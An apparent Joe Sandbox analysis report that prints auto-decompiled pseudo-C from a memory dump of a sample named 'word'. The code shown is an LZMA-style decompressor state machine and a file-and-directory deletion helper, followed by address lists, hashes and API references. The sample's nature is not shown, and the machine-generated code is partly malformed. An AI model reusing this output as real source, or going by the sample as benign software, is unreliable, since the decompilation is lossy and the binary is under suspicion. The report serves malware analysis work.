											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														goto L109;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													goto L99;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L79;
										case 0x1b:
											L75:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t274 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t274;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t283 = __ebp - 0x64;
											 *_t283 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t283;
											 *( *(__ebp - 0x68)) = __cl;
											L79:
											 *(__ebp - 0x14) = __edx;
											goto L80;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L80:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00000000
0x00407068
0x00407068
0x0040706c
0x00407095
0x0040709f
0x0040706e
0x00407077
0x00407084
0x00407087
0x004073cb
0x004073cb
0x004073ce
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x0040741c
0x00407420
0x004075cf
0x004075e5
0x004075ed
0x004075f4
0x004075f6
0x004075fd
0x00407601
0x00407601
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00407441
0x00407441
0x00407447
0x00407447
0x00406be3
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00000000
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x004073cb
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcf
0x00000000
0x00406db1
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00406dc8
0x00000000
0x00406ffe
0x00407002
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407007
0x0040700a
0x00407014
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x00000000
0x00000000
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x0040711c
0x00407120
0x00407127
0x0040712a
0x0040712d
0x00407137
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x00407122
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00407447
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00407447
0x00407447
0x00000000
0x0040744d
0x00407447
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x0040738e
0x004075c3
0x00000000
0x00000000
0x00406bf2
0x004075fa
0x004075fa
0x00000000
0x004075fa
0x00407447
0x004073ce
0x004073cb

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b33066b9a67caffcdb2859c2a3d237c195f810e8b6f417b46283b98aba377de3
Instruction ID: 947ff9f4813c08031b822263453b6bbc7859602ae013fffc9a74d3363ad91bbb
Opcode Fuzzy Hash: b33066b9a67caffcdb2859c2a3d237c195f810e8b6f417b46283b98aba377de3
Instruction Fuzzy Hash: FE713471E04228DBEF28CF98C8547ADBBB1FF44305F15806AD856BB281C778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00405D2C Relevance: 4.5, APIs: 3, Instructions: 28
fileCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00405D2C(void* __eflags, WCHAR* _a4, signed int _a8) {
				int _t9;
				long _t13;
				WCHAR* _t14;

				_t14 = _a4;
				_t13 = E00406133(_t14);
				if(_t13 == 0xffffffff) {
					L8:
					return 0;
				}
				_push(_t14);
				if((_a8 & 0x00000001) == 0) {
					_t9 = DeleteFileW();
				} else {
					_t9 = RemoveDirectoryW(); // executed
				}
				if(_t9 == 0) {
					if((_a8 & 0x00000004) == 0) {
						SetFileAttributesW(_t14, _t13);
					}
					goto L8;
				} else {
					return 1;
				}
			}

0x00405d2d
0x00405d38
0x00405d3d
0x00405d6d
0x00000000
0x00405d6d
0x00405d44
0x00405d45
0x00405d4f
0x00405d47
0x00405d47
0x00405d47
0x00405d57
0x00405d63
0x00405d67
0x00405d67
0x00000000
0x00405d59
0x00000000
0x00405d5b

APIs

Part of subcall function 00406133: GetFileAttributesW.KERNELBASE(?,?,00405D38,?,?,00000000,00405F0E,?,?,?,?), ref: 00406138
Part of subcall function 00406133: SetFileAttributesW.KERNELBASE(?,00000000), ref: 0040614C

RemoveDirectoryW.KERNELBASE(?,?,?,00000000,00405F0E), ref: 00405D47
DeleteFileW.KERNEL32(?,?,?,00000000,00405F0E), ref: 00405D4F
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405D67

Memory Dump Source

